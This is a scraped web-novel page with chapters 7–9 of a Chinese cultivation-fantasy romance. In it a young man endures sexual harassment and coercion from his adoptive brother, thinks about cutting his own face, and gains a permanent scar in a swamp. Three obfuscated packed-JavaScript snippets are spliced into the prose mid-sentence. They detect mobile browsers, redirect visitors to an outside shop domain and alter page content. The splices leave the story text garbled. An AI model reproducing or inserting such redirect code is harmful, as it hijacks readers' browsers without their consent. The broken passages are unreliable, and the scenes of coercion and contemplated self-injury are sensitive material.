《万人嫌吃了师尊软饭后》 7. 高阶易容 聂更阑在祠堂跪了整整两天两夜,终于被沈端枫以再跪下去就没命了为由强行带回流云小筑。所幸有聂云烟姐弟给他的御寒戒指,以及后来偷带的糕点,否则这具身体损伤会更严重。 足足昏睡一日,聂更阑才睁眼,就看到床边坐着一个人。 沈端枫瞥见他手上的御寒戒指,没说什么,只是叹息:“更阑,你这次太让你爹失望了,他为你的将来做打算,你却拂了他的好意,也让聂家在几大家族前丢了脸面。” 聂更阑蜷缩在被子里,艰难地吐出一个字:“母亲。” 沈端枫神情略有震动。 这是是她的亲生儿子,她岂会不关心不疼惜,只是…… “母亲,我不喜欢男人,在人界做小倌是形势所迫,只要尝试逃出绿苑就会遭到毒打,我没办法。”聂更阑许久没一口气说过这么长一串话,喉咙隐隐作痛。 当时在寒冰阵里他几乎觉得自己快要濒临死亡边缘,心里想着如果能醒来,一定要对亲生母亲说出心里话。 他有无尽的委屈、愤懑和恐惧,心脏处仿佛插着一把钝刀子,不能致他死亡,却能让他一直处于无尽的痛苦中。 一只素手轻轻掖了掖少年的被角,轻柔的嗓音虚虚落在上方。 “更阑,还记得第一次见面,娘对你说过的一句话吗?” “这个世界,以武为尊。” “孩子,你若想掌握自己的命运,只能努力变强。” 聂更阑一双眸子慢慢变红,鼻中泛酸。 沈端枫见状犹豫地伸出手,试图替儿子揉一揉僵硬的手脚,恰巧门外传来一道声音:“母亲,真巧,您也来看弟弟。” 女子落下去的手倏然收起,淡笑着笑看向来人:“斟儿,你来了。” 聂云斟嘴角含笑:“我带了厨房新出炉的点心,有瓜秋蟹,粟裕糕,都是弟弟爱吃的。” 聂更阑抓着被子的手一紧,淡色眸子浮现一抹阴翳。 沈端枫露出一抹欣慰的笑容:“斟儿如此关心弟弟,母亲也就放心了,你们兄弟聊,我先走了。。” “是,母亲慢走。”聂云斟微微弯腰,恭敬地目送沈端枫出去。 等到外头没了动静,聂云斟才笑吟吟在床头的凳子坐下。 “弟弟,吃些点心吧?我还带了一壶暖血活气的甜饮——” “滚。”聂更阑闭了闭眼,虚弱地从唇中吐出一个字。 聂云斟笑容逐渐扩大:“怎么,这会儿不怕哥哥,敢凶我了?” 他站起身慢慢逼近床边,聂更阑条件反射搂紧被子往后退,将他视为洪水猛兽一般。 聂云斟嘴角笑意渐深,玉制的腰带随他微微弯腰的动作而向下垂落,双臂也随之撑在床的边缘,一双上挑的眉眼浮动着轻佻,“不喜男子?” 聂更阑被他盯得浑身发毛,不适感在体内躁动,偏生身子虚弱得生不出一丝力气,无处可逃。 聂云斟轻笑一声:“看来之前我猜得没错,你果然厌恶男人的触碰和靠近。” 他一边边说着,身体越发前倾,脸几乎快要贴近聂更阑的脸。 聂更阑后背贴到墙面退无可退,只得用被子裹住全身露出一双阴冷的眼睛,“别过来!” 聂云斟非但不停下,手偏偏还不老实地扯开被子,少年那张敷粉如雪透着病态的面颊便一点点露了出来。 “啧。” 聂云斟蓦地钳住少年下巴,细细摩挲,“果真肤如凝脂,皎若秋月,好一张勾人的脸。” 话音才落,那张脸已经剧烈挣扎从他手里滑脱出去,少年张嘴狠狠咬在聂云斟手腕上。 “嘶!” 聂云斟吃痛退开站直了腰身,目光森然盯着飞速缩回被子里的少年。 “弟弟命大居然能从寒冰阵里脱险,那就好生养好身体,咱们来日方长” 聂云斟起身离开,直至到房门外才终于放声大笑。 没用的废物。 聂家家主的位置,只能是他的。 房中,聂更阑听着狂放的笑声渐远,拖着虚弱的身体下床来到水盆边,动作艰难地打湿巾帕。 聂更阑发狠一般搓着被捏过的下巴,恨不得把那块被碰过的皮肤都撕下来,直至那块皮肤被搓得泛起红色。 终于擦洗完毕后,他大口喘气,扶着木架看向铜镜里的少年。 这是一张被男人垂涎过无数次的脸,每每被那些令人作呕的视线笼罩,他就觉得咽喉好似被扼住般不能呼吸。 镜中的少年蓦地眼神发狠,揪住一面颊的皮肉,恨不得现在就拿刀剜掉一块皮肉,毁掉这副皮囊! “噼里啪啦。” 聂更阑开始翻箱倒柜,终于从箱笼里翻出一把匕首。而等到冰凉利刃贴上脸时,他才犹疑地停下动作。 从前在绿苑被毒打时,他就落下了怕疼的阴影。匕首剜掉血肉,必定痛入骨髓。 况且这一刀子下去肯定不够,也不知要补多少刀才能划出满意的效果。 思及此,聂更阑的脸仿佛真的被刀刃刺入皮肉,传来一阵真实的火辣辣灼痛感。 匕首当啷一声掉在地上。 少年重新看向铜镜,神色幽森晦暗。 * 自从论道会那天过后,聂更阑无时无刻不在想办法在毁掉自己的脸。 最后,他还真想出一个主意。 匕首利刃刺过的肌肤伤势能被迫养好修复。 若要永久留下烙印,须得利用修真界的法术或是丹药,如此才不会再生变故。 聂更阑足足卧床休息了六日,而后立刻去了趟藏书阁。 “二少爷,许久未见,您可还好?”望舒拱手道,“只是,家主未下令少爷能否出院子,您这……” 聂、邢两家联姻失败的消息望舒亦听到一丝风吹草动,之后聂更阑卧床不起数日,他同样担忧不已。 聂更阑顾不得其他,拉过望舒坐下,“望舒老伯可知道有什么术法或者丹药能让脸上永久留下疤痕的?” 问题一出,聂更阑被望舒盯着看了好一阵,有那么一瞬间他几乎以为老者看穿了他的想法。 然而望舒并没有挑明 “二少爷若是想在脸上留下难以祛除的疤痕,第一,要么炼制高阶丹药,第二,要么能得到奇缘。” “什么奇缘?” “这不好说,全看个人造化,修炼之人在历练途中的遭遇完全不一样,遇到的机缘也不一样。” “二少爷这个愿望和一般修士不太一样,但本质不变,都是期望得到天材地宝达成某样目的。” 聂更阑心念一动:“我要怎么样才能碰到这些机缘?” 望舒沉吟着考虑要如何解释,一个穿着家仆服饰的年轻男子这时走来,“望舒老头,上面吩咐藏书阁过两日要洗刷整顿,这活计你到时派两个人做便是,到时我爹会过来查验。” 那人说着已经走近,当看清望舒旁边的少年时不由看呆了一瞬,紧跟着脸慢慢涨红,仓促地移开眼,“望舒,你个老不正经的,都一把年纪了还招惹年轻姑娘,你——” “咳咳!” 望舒剧烈咳嗽打断年轻男子,“冉之啊,还不快见过最近寻回来的二少爷?” 王冉之怔住,呆愣愣盯着眼前面目昳丽的少年瞅了好一会儿,然后才如梦初醒般弯腰见礼,“小、小人见过二少爷。” 他此前听说过二少爷被家主寻了回来,爹也提醒过他见到人要谨言慎行,没想到传闻中的废物凡人少爷居然长得这般……夺目。 聂更阑无声地颔首,算是回了礼。 望舒摆摆手,“行了冉之,你告诉王管家,藏书阁这片儿我会派人弄好,也就一刻钟的功夫,不费事儿。” “那就好,你别到时忘了弄得我在我爹面前不好交差。” “行行,我现在就让人去打扫,也就两炷香的功夫,真是。” 望舒念叨叨着站起身,往侧门去了。 聂更阑则心中一动,这个青年是王管家的儿子? 王冉之尴尬地看着默不作声的聂更阑,手脚都不知道往哪放,“二、二少爷,没别的事,小人就、就先去忙了。” 他告完退也不见主子有动静,于是摸摸脑门要走,没料后面传来一道低沉又悦耳的声音。 “王大哥,劳烦能借一步说话么?” 不消多时,两人已经来到院子里某处僻静角落。 王冉之多看一眼面前的少年就擦一把汗,瞥见他苍白的脸色忍不住关心道:“少爷病还没好?小人那里有上好的千年人参,您要不要?” “王大哥。” 聂更阑看着每说一句就下意识靠近一步的青年,不动声色后退,眼里防备之意明显。 王冉之尴尬地拉开距离,“对不起少爷,是小人冒失了,不知少爷叫小人过来有何吩咐?” * 片刻后,王冉之面露诧异:“少爷想进藏书阁?” 聂更阑颔首。 王冉之愕然,二少爷是为了进藏书阁才和望舒老头打交道的么?看来老头子没答应,所以他才来找自己。 聂更阑见青年不做声以为他不答应,要走,被王冉之急忙叫住。 “二少爷,等等。” 上次聂更阑想进藏书阁的事他有所耳闻,显然家主对这个失散多年的儿子并不宠爱,反而极尽苛责。 聂更阑回首。 王冉之走近一步,这次小心地不敢再过于靠近,“二少爷,小人可以帮忙。” * 聂更阑不找望舒帮忙,一来是不忍望舒被牵连,二来王管家此前对自己态度中立,且在聂家颇有一定权利,是以聂更阑碰到王冉之便生出了进藏书阁的想法。 翌日,聂更阑穿上王冉之带给他的家仆一副,还擦了一种改变肤色的药膏,在王冉之身后低头跟进了藏书阁。 望舒老头只稍微扫了眼王冉之身后,没说什么,打了个哈欠继续打盹。 聂更阑第一次进入聂家的藏书阁,仿佛来到新天地,藏书阁有三层,满满当当全是书架和册籍。 王冉之:“二少爷,时间久了恐让人生疑,您最多只有半个时辰的时间。” 聂更阑点点头,闪身进入望不到头的书架之间。 所幸书架之间有索引,他很快便找到“丹药炼制”以及“山海怪志”这两排书架。 改变容貌的丹药炼制方法…… 聂更阑一本本找过去,很快锁定一本《高阶丹药易容》的古籍,顿时喜出望外抽出书册。 没想到真的有这类书籍。 急切地翻开,一入眼就是各类灵植药材的以及用途和炼制方法,好不容易翻到一页高阶易容的页目,他睁大眼睛飞快扫视上面的内容。 “天叶木,素手莲蓬,血色鳍连……” 在看完一长串晦涩的灵植名字后,后面还缀着一句注释。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631750|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若要容颜持久,且不易为外力扭转,须得寻一……” “咣!” 藏书阁外响起一阵惊天动地的声响,震得聂更阑手里的书掉落在地,人也跟着跌倒在地。 藏书阁三层的门被人一脚踢开,接着一群人浩浩荡荡闯了进来。 “在那儿!把他抓住!” 聂更阑只听到这句话,接着书架之间响起无数道咚咚咚沉重的脚步声,他大惊失色,顾不上那本掉落的书册,爬起来就跑。 然而他身体疲虚多日,根本跑不过身强体健的家仆,很快就被人按在地上动弹不得,身上穿的家仆服饰和帽子也被强行扯下来。 接着,一道熟悉的声音在头顶响起。 “哟,这不是更阑弟弟吗?” 聂云飞稚嫩的童音响彻藏书阁,“果然是你这个凡人,父亲早就吩咐过不让他进藏书阁,他非要做贼似地偷溜进来,一定是想偷盗修炼秘籍!” 聂更阑愠怒抬头,看到聂云斟、龙凤胎兄妹被一众家仆簇拥着站在面前。而那个带他潜进来的王冉之,此刻正垂首侍立一旁,默不作声。 聂云斟视线在少年脸上转了一圈,眉毛上扬:“弟弟不做声那就是做贼心虚,莫不是真偷了什么秘籍?” 他一个眼神示意,立即有两名家仆上前搜身。 聂更阑已经被扒掉家仆衣裳,后背抵在一排书架上声嘶力竭叫道:“我没偷书!” 眼看两个家仆手即将碰到他,这时王冉之冲上来挡在聂更阑面前高声开口:“大少爷,二少爷没有偷书,他答应我只是进来看看,不会偷东西的!” “王冉之,你倒是忠心,前头刚和我报信,后头就护着这个贼子?谁才是聂家未来的家主你不清楚?”聂云斟神色骤然冷戾。 王冉之急忙跪地:“大少爷,您永远是小人的主子,只是二少爷他真的没有偷书,小人方才一直在边上看着的。” 聂更阑怒从心头起,一把推开拦在面前的王冉之,“滚开!” 聂云斟从怒转为哂笑,“把父亲叫来!” 很快,聂重远、沈端枫匆匆赶到藏书阁,了解来龙去脉后,聂重远当场勃然大步。 “不孝子!你是不是非得把聂家闹得乌烟瘴气才高兴!” 聂云斟已然换了副嘴脸,温声劝和:“父亲,母亲,弟弟年幼不懂事,念他初犯,这次就饶了他吧。” 聂重冷喝一声:“事到临头你哥哥还替你求情,你就没有一点羞耻心吗!” 聂更阑咬牙,无声冷笑。 不管聂重远再说什么,他始终没有开口说一个字。 聂重远被激怒得大发雷霆,当即又要命人把这逆子拖去祠堂。 沈端枫却焦急阻拦:“更阑之前已经跪了两次祠堂,再跪就真的没命了。” 最后,聂重远还是看在夫人面子上,命人把逆子押回流云小筑,“回去面壁思过,没我的命令一个月内哪都不许出去!” 聂更阑被带走后,王冉之汗流浃背扑通一声跪了下来:“家主!” …… 聂更阑被扔回了流云小筑。 几天后,他听说王冉之被霹雳刺倒钩的鞭子打了足足五十下,遍体鳞伤地被王管家抬走了。 聂更阑抱着双膝坐在阳光明媚的廊柱下,双眸沉冷。 他初尝轻信别人的恶果是在绿苑,来到聂家后是聂云斟,如今他心急之下再次栽在道貌岸然的哥哥手里,他无话可说,只是心口处始终隐隐挟带着一股发闷和不甘心的怒意。 聂更阑无意识扯着花坛里的五彩灵叶,直到看到聂云斟带着一脸高深莫测的笑意迈进院子。 “弟弟,别来无恙啊。” 聂更阑脸瞬间冷脸,腾地起身往屋里走,缺在关门之前被聂云斟一只脚卡在门缝里,聂更阑身子虚弱力气不敌,被对方轻松地把门撬开。 聂更阑踉跄后退,目光四处搜寻可以防身的武器。 聂云斟闪身挡在少年面前,“弟弟,哥哥来看望你,你就是这么欢迎我的?” “你到底想怎么样!” 聂云斟上前一步,脸瞬间贴近那张面若桃花的脸,“我没想怎么样,弟弟何必紧张?” “啧啧,你这张脸真是遭人惦记,周炎徐之鸣他们已经问过我好几回你的事了,弟弟,你想不想让他们到家里做客找你玩?” 聂更阑看着近在咫尺的脸,呼吸一滞,伸手要把人推开:“滚开!” 聂云斟早有防备,笑吟吟抓住他的手腕,紧紧钳制不让他动弹。 “不乐意?那我就听弟弟的,其实我这个做哥哥的也舍不得呢……” 聂更阑瞳孔剧烈收缩,神色骤变。 这种轻佻的语气他在无比熟悉,如今从这个毫无血缘的哥哥嘴里听到,登时怒火丛生一脚踹向对方。 聂云斟轻而易举闪身躲开,邪笑着单手抓住聂更阑的脚。 “弟弟,你这手怎的像个姑娘似的细软嫩滑,就连脚都这么瘦,哥哥看着都心疼了。” 聂更阑眼眶瞬间赤红,勃然大怒推翻一旁屏风,房里轰然一声扬起灰尘。。 聂云斟轻笑出声,敏捷地松开少年的脚。 聂更阑怒火上头再也无法忍受这种羞辱,拼尽全力伸出双手欲掐住聂云斟的脖子。 今日不是聂云斟死,就是他亡! 孰料,在他碰到人之前,聂云斟轻飘飘吐出的三个字让他惊得愣在原地。 8. 火麒麟 “火麒麟。” 聂更阑动作蓦地凝滞,缩回的手紧握成拳头。 “你想要火麒麟,对么?”聂云斟从他的反应中已经得出结论,散漫地靠在屏风上,一副胜券在握的模样。 房中死一般寂静。 聂更阑心脏突突跳动,死死盯着眼前的人。 他怎会知道? 聂云斟双手一摊:“想知道我为什么会知道?” 他拿出储物袋,从内里掏出一本《高阶丹药易容术》,笑容越发奇诡,“天叶木,素手莲蓬,血色鳍连……” “你几日前问过玉容这些药都能在何处寻到,却唯独没问过火麒麟。” 对方一字一句重重砸下来,砸得聂更阑心神震颤不止。 玉容……他竟忘了,初到流云小筑那次聂云斟就与玉容站在一处。只是没想到,玉容连这些小事都会上报。原来,他的一举一动都在聂云斟的掌握之中。 聂云斟哂笑:“怎么不说话了?弟弟,你要找这几味药,聂家库房里都有,唯独这火麒麟么——” 他拖长语调,满意地看到少年露出迫切的神色,不由扯起嘴角,“看来你真的很想得到火麒麟。” 聂更阑阴恻恻盯着因为耍弄他而心情愉快的人。 可他清楚无论是体力亦或是修为法宝,他都敌不过聂云斟。 聂云斟脸上明晃晃地写着阳谋二字,不怀好意地从上至下扫视少年,“我的好弟弟,我给你一个得到火麒麟的机会,在凡界你如何讨好客人,便也如何讨好我,怎么样?” “倘若得我欢心,就如你所愿。” 聂更阑几乎要把袖子边缘的丝线扯烂,压抑着处于爆发边缘的情绪:“你就不怕我告诉父亲母亲!” “我好害怕呢,”聂云斟故作惊慌缩了缩肩膀,“不如你现在就去?看看他们信你,还是信我?” 聂更阑再也抑制不住眼底的冷怒,忽的上前揪住聂云斟的衣领。 聂云斟比他高出半个头,被揪着气势也丝毫不弱,反倒笑吟吟与他对视,“怎么,凡界的小倌都惯会用这一套打情骂俏么?” 聂更阑听不得他满口浑话,一只手扬起要打下去,却被聂云斟敏捷擒住,进退不得。 “好弟弟,我可吃不消这套,你不若直接到伺候那一步,我也想感受感受弟弟的温香软玉……” 伴随着挑逗的话越来越露骨,聂更阑目光阴森用尽全力挣脱出桎梏,却被擒住。 看他挣扎剧烈,聂云斟索性给他甩了张定身符。 少年如在狂风骤狼里翻滚的小舟一般停止颤动。 聂云斟笑吟吟盯着对他怒目而视的少年,手捏住他下颌,慢慢凑近。 “嗯——” 他闭上眼,发出喟叹,“好香,弟弟勾人的心思可真巧。” “有本事你放开我,我们光明正大打一场!”聂更阑双目寒意凛冽,几欲喷火。 聂云斟哂笑:“弟弟,不如我好心提醒你,这里是修真界,可不是人界那个只会动拳头的地方,修真界拼的是修为和防身的法宝,拳头在这儿可不顶用。” “不过。” 他上下轻蔑扫视少年,“看你这纤弱的身量,肉搏还是算了,不如讨好我还来得快些。” 聂更阑阴鸷地盯着这副丑恶的嘴脸,胃里开始泛起酸意,聂云斟捏着他下颌的手仿佛布满腥臭黏腻的野兽血液,想避却避不开。 在聂更阑“呕”的一声吐出来之前,聂云斟往旁边一闪,躲开了那滩污秽物。 酸水灼烧喉咙,搅动着聂更阑的五脏六腑,好似要把人吞噬湮灭。 聂云斟嫌弃地拿出帕子擦拭手指,尽管并没有一丝污秽沾到他身上。 帕子最后飘飘然掉落在地。 “我的好弟弟,你这副模样,平时是怎么接客的?我倒真是好奇了。” 聂更阑扶着屏风架子还在干呕,察觉聂云斟身影再度靠近,强忍难受一连后退几步。 因为那滩污秽,聂云斟嫌恶地最终没再继续逼近。 “想要火麒麟,须得前往聂家庄二十里之外的瘴雾沼泽,至于其他的灵药,你不如现在就开始好好想办法该怎么讨我欢心,说不定我一高兴,那些药材就全送你了。” 聂更阑蓦地抬眸。 聂云斟扯起嘴角似笑非笑和他对视,几息后,转身离开。 “哦对了。” 身穿天青色袍子的人在出去前回头。 “兄长好心提醒你,半个月后火麒麟就会潜入沼泽沉睡,蛰伏半年才会重新出现。” “弟弟,你可得抓紧时间啊。” 聂云斟目光意味深长地瞟一眼少年,转身出去了。 聂更阑跌坐在地,浑身大汗淋漓如坠冰窖。 * 对聂云斟的提点,聂更阑不是没有过怀疑。 然而他被关禁闭,玉容每天看他看得很严,聂更阑并没有机会出去向望舒打听火麒麟的事。 直到几天后,聂云斟再次前来,问他是否考虑清楚了,如果要去,他可以助他暗中偷溜出聂家庄。 聂更阑只犹豫几息便立刻答应。 聂云斟对此不意外,扔给他一套家仆衣服,“明日辰时后院出口把守将会松懈一刻钟,你穿着这套衣服出去。” 聂更阑看着他离开,把那套衣服慢慢攥紧在手里,面容阴晴不定。 当夜,玉容前来送饭时,他扑通一下跪在了他面前。 玉容吓得差点没把饭盒打翻。 * 片刻后,聂更阑从流云小筑悄无声息出了流云小筑,往藏书阁方向而去。 墙角的阴影下走出来一个身影。 玉容过去恭敬禀告:“少爷,二少爷他出去了。” “嗯。” 藏书阁。 望舒老人看到聂更阑时大吃一惊,把他拉到暗处,“二少爷,您不是在关禁闭,怎么这会儿来了?您之前……没事吧?” “我没事,”聂更阑语速很快,“望舒老伯,瘴雾沼泽是不是有一味药名为火麒麟,而半个月后是它的潜伏期?” 望舒面露惊讶,认真地打量他几眼,眼珠子飞快地转了转,“二少爷,您怎么忽然想到问这个?” “我要去找火麒麟,我需要它,”聂更阑语速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631751|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加快,“望舒,我时间不多,你告诉我,它是否半个月后就蛰伏进入沼泽深处?” “对,”望舒点点头,“二少爷,不过火麒麟机灵聪敏,少爷只身前往恐怕不太容易抓得住那个小东西。” “不过少爷若是真想把它抓回来——”望舒说着,从腰间的乾坤袋取出几张符篆,“这些低阶符篆不需要修为灵力,只要将其拍在目标上就会发挥效力。” “二少爷,您把火麒麟抓回来以后可以拿给我看看,这东西性子难驯服,我今夜就替您找找相关书籍……” 聂更阑感激地收下符篆,“好,多谢老伯,若有机会恩情来日再报。” 看着匆匆步入夜色中的少年背影,望舒老人眼角皱纹慢慢收紧,脸上露出若有所思的神色。 * 翌日辰时。 聂更阑换上家仆一副赶到后院,果然发现那里并没有守卫,于是迅速溜了出去。 在他离开后一个时辰,聂云斟径直去了聂重远的书房。 “爹,十日之后便该出发前往灵音宗参加弟子大选,弟弟的禁闭就不必关满一个月了吧?斟儿认为弟弟从小在人界吃尽苦头,所以性子才顽劣了些,到了灵音宗受到教化,他会慢慢改掉那些习性的。” 聂重远哼了一声。 沈端枫:“斟儿所言有理,重远,更阑不能永远都关在聂家,假如进了灵音宗,对他来说就是天大的造化和机缘了。” “就凭这逆子的四灵根,他能通过灵音宗的弟子大选?”聂重远冷哼。 “你总要给孩子一个机会,是不是?他也不想生长在那种环境,生来就是四灵根,重远,你也不希望他真的变成一个废物,对吗?” 聂云斟:“父亲,斟儿认同母亲的说法。” 聂重远在妻儿的殷切注视下,最终还是松了口。 “只要那逆子愿意,就让他去!” 聂云斟眼底肉眼可见地划过一抹精芒。 那废物能不能活着走出瘴雾沼都是未知,十天,恐怕二十天也等不到他了。 …… 聂更阑朝着西南方向二十里外的瘴雾沼泽而去。 他因为寒冰阵侵袭身体依旧孱弱,一路走走停停,等到了瘴雾沼泽时,已经是两日后。 聂更阑找到一汪潭水,掬了一捧喝下,又洗了把脸,看向前方一片黑紫雾气缭绕的沼泽。。 随后,毫不犹豫踏入浓厚的黑紫雾气中。 聂更阑身上佩戴着望舒老人赠的驱邪佩环,早早把望舒的符篆拿在手里,以防有邪崇虫兽袭击。 瘴雾沼辽阔寂静,只有不知名灵兽的嗥叫以及虫鸣鸟叫声,除此以外再无声响。 聂更阑绕开那些看起来就浑浊的沼泽地,小心翼翼前进。 不多时,他就看到了一从丛斑斓艳丽多姿的花,形状似喇叭,有人的脑袋打小。他记着望舒的提醒,一丝一毫没碰那些花,头也不回往前走。在他路过的身后,妖艳的花朵在静谧黑雾里缓缓一张一合,仿佛吃人的山精鬼魅。 而在后方的沼泽里,一道黑影快速游移其中彷如滑鱼,紧跟在形单影只的少年身后。 9. 火麒麟2 “咔嚓。” 静谧的浓雾里,聂更阑脚下忽然踩到异物发出清晰的碎裂声。他一惊,趔趄几步后退。 只见浓密的草地之中,竟不知何时布满了密密麻麻的骷髅,更兼不少零散的躯体骸骨遍布四周。 聂更阑神色大骇,手中的符篆捏得几欲碎裂。他深呼吸一口气,强逼自己镇定下来,小心翼翼绕过那些骷髅和骸骨继续前行。 估摸着走了三四里地,才终于走出这一大片妖异花丛的范围,而聂更阑拿在手里的符篆,正散发着丝丝淡淡的灵力,护他不被黑紫瘴气侵袭。 此时,妖异花丛伸出有不少偷偷摸摸的视线尾随少年身后,热烈而诡异。 而沼泽里,跟踪聂更阑的活物蛰伏已久。一路贪婪嗅着从符篆中散发出的纯净灵力,这会儿终于按捺不住从沼泽里一跃而起。 “哗啦!” 突如其来的动静把聂更阑吓了一跳。 一转身,就看到一团黑漆漆不见形状的长条活物直奔自己面门而来。 聂更阑手中早已备好符篆,然而拍出符篆的速度竟比那活物还慢了一拍,在他手挥出去的同时,那活物已然闪电般贴过来。 聂更阑在一刹那间终于看清它的真面目—— 这是一只火鬃色形如蜥蜴、有着亮色鳞片以及长长尾巴的怪物。 一刹那间,望舒交代他的火麒麟形状模样跃然脑海。 是火麒麟。 他终于找到了! 然而他没高兴太久,只因火麒麟速度奇快已经一跃而没入自己体内。 “唔!” 广袤的浓雾中,大群黑鹫惊得冲天而起。 聂更阑被怪物入侵受惊开始往回狂奔疾走,一边往自己身上不停地拍符篆。 可望舒给他的符篆有限。 连拍二十几下后,符篆已经告罄。 聂更阑能清晰地感受到那怪物在体内乱窜,同时浑身气血翻滚搅腾,燥热不已。他甚至能感觉到鼻孔有股热流堵着,随时都能喷薄而出。 那是血。 聂更阑惊慌失措之下也顾不得看脚下的路,往回狂奔时脚下胡乱一气地踩。 “啊啊啊啊!”虚空中有女子和稚童的尖叫声拔地而起。 “什么人如此放肆,竟敢踩我们!” “吃了他,吃了他,我要他尸骨无存,血肉消亡!” 聂更阑惊吓之余终于意识过来,自己踩了连片的方才经过的喇叭形状的妖冶花朵。 眼下那些花的荆棘藤蔓正在飞速往前蹿追赶狂奔的少年。 “没人能逃得出我们的手掌心,哈哈哈,快到嘴里来化作我们养分吧!你的灵气灵力将是我们的!” 而这时,聂更阑体内的怪物也开始蹿得更为频繁,在浓厚的雾气下,沼泽光线昏暗,若是有人在场,定能看到少年的皮肤被某种东西顶得这里凸起一块,下一刻凸起又瞬移到了其他地方,速度如迅疾闪电一般。 也就是此刻,聂更阑浑身热火难忍,血流终于从鼻中喷薄而出。 而那些带着荆棘的藤蔓也如影随形缠上少年纤瘦的四肢,狠狠扎入皮肤深处。 “啊!” 聂更阑浑身仿佛被燃烧的刺扎中,难受得经脉浑身暴走。 但尖叫声不止他的,随之震动耳膜的尖锐喊叫,亦是从那些食人花口中发出。 只见聂更阑洒下的斑斑点点的血迹落在那些藤蔓上,所到之处,藤蔓和花朵就开始扭曲翻滚冒出窒息的烟火,不过几息就灰飞烟灭,只余惊恐的尖叫仍旧响彻耳际。 “不好,这小子邪门得很!” “快逃,快逃!” “除了火麒麟,他身上还有什么——啊!” 不断有食人花灰飞烟灭,而紧跟其后的大片食人花藤蔓意识到危险纷纷如潮水般向后撤退,远离了正在不停往前狂奔的少年。 瘴雾沼中,除了已经撤退的食人花,还有不少窸窸窣窣早已暗中盯着聂更阑许久的各种活物。 “就连食人花……” “快跑远点,以免波及我们!” “这个臭小子不能碰,走吧,都撤退!” …… 聂更阑不知身处瘴雾沼泽地奔跑了多久,直到眼前黑紫的浓雾越来越稀薄,天光渐渐大盛。 “咚!” 少年惊吓与负荷过重的身躯沉重地扑倒在地,穿过最后一丝黑紫瘴气,来到了外界。 他只觉得浑身麻痒,喷涌的灼热血气依旧在头部和鼻孔堵着,令人生出一种疯狂的濒死感。 在失去意识之前,聂更阑依旧能感受到那只怪物在自己皮肤表层乱窜叫嚣。 他,是不是就要死了? 眼皮最终阖上,世界陷入一片黑暗。 * 聂更阑再次醒来时,天光仍旧大亮。 他倏地清醒从地上爬起来,浓厚的瘴气依旧在身后无垠的地界盘旋,似乎他只昏迷了一两个时辰。 聂更阑舒展四肢,昏迷之前的灼热和濒死感已经消失殆尽,但身体的疲虚和无力却强烈得很。 他脑海中忽的闪过火鬃色的鳞片,一惊,双手胡乱往身上摸——火麒麟呢? 然而身上并没有异状。 聂更阑一怔,找到火麒麟的惊喜和失去火麒麟的失望交织并存,沮丧感也在不断扩大。 他忽然觉得口渴难耐,嘴唇皲裂,决定去之前到过的水潭喝口水,再找点野果垫垫肚子。 既然火麒麟丢了,那就再进去找一次,他方才暴走时似乎听到瘴雾沼里头的怪物惧怕他。这次,他定不会再让火麒麟逃走。 聂更阑到了水潭边捧起水就要喝,只是,当他看到平静的水面下少年的模样时,登时惊骇得跌坐在地。 “这是……” 聂更阑屏住呼吸迅速爬起回到水潭边。 静止的水面上,原本面似皎月的少年脸上,静静盘亘着一道半尺长的狰狞疤痕。 而疤痕之下,隐隐透出一点鳞片和血肉搅在一起的模糊之态,且有火鬃色鳞片在发亮。 聂更阑这才惊觉脸上有股火辣辣的痛感,一抹,满手是血。 他被这副丑陋可怖的模样惊到,随之而来却是一阵狂喜涌上心头。 火麒麟进入体内,待在在他脸上不走了? 这道疤痕甚是让他满意。 那么是否他也不必非得再熬制《高阶丹药易容术》上描述的那种易容丹了?火麒麟是药材,就让它安静待在体内应当并无不妥。 聂更阑喜出望外之际,不觉狠狠松了口气。 毕竟炼制高阶易容丹需要修为和灵力,聂家不会帮他,唯一之法只能拜师进入灵音宗,等有了一定修为才能炼制,可这样需要等待的周期太长,他等不了。 因此,眼下便是最好的情形。 他成功了! 聂更阑慢腾腾喝够水,虚弱地从地上爬起,目的已达到,他打算慢慢走回去,只是他被冻伤未愈又加上火麒麟和食人花的刺伤和灼伤,恐怕还要花个几天才能回到聂家庄。 也不知,他们发现自己不见时是否会着急忧心? 聂更阑唇角勾起一个自嘲的弧度,轻轻摇头。 怎么可能呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631752|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而恰是这时,树林那头传来一声呼喊声。 “更阑!” 聂更阑浑身一震,循着声音来源望向前方。 那声音,赫然来自他的生母沈端枫。 只怕,自己偷跑出来的事已经被聂家人知晓,果然,聂云斟没安什么好心。 聂更阑拔腿要逃进密林躲藏,然而不过几息,一阵风刮至,身穿素白衣袍的沈端枫已经御剑从高空落下,面有厉色以及隐隐的焦急。 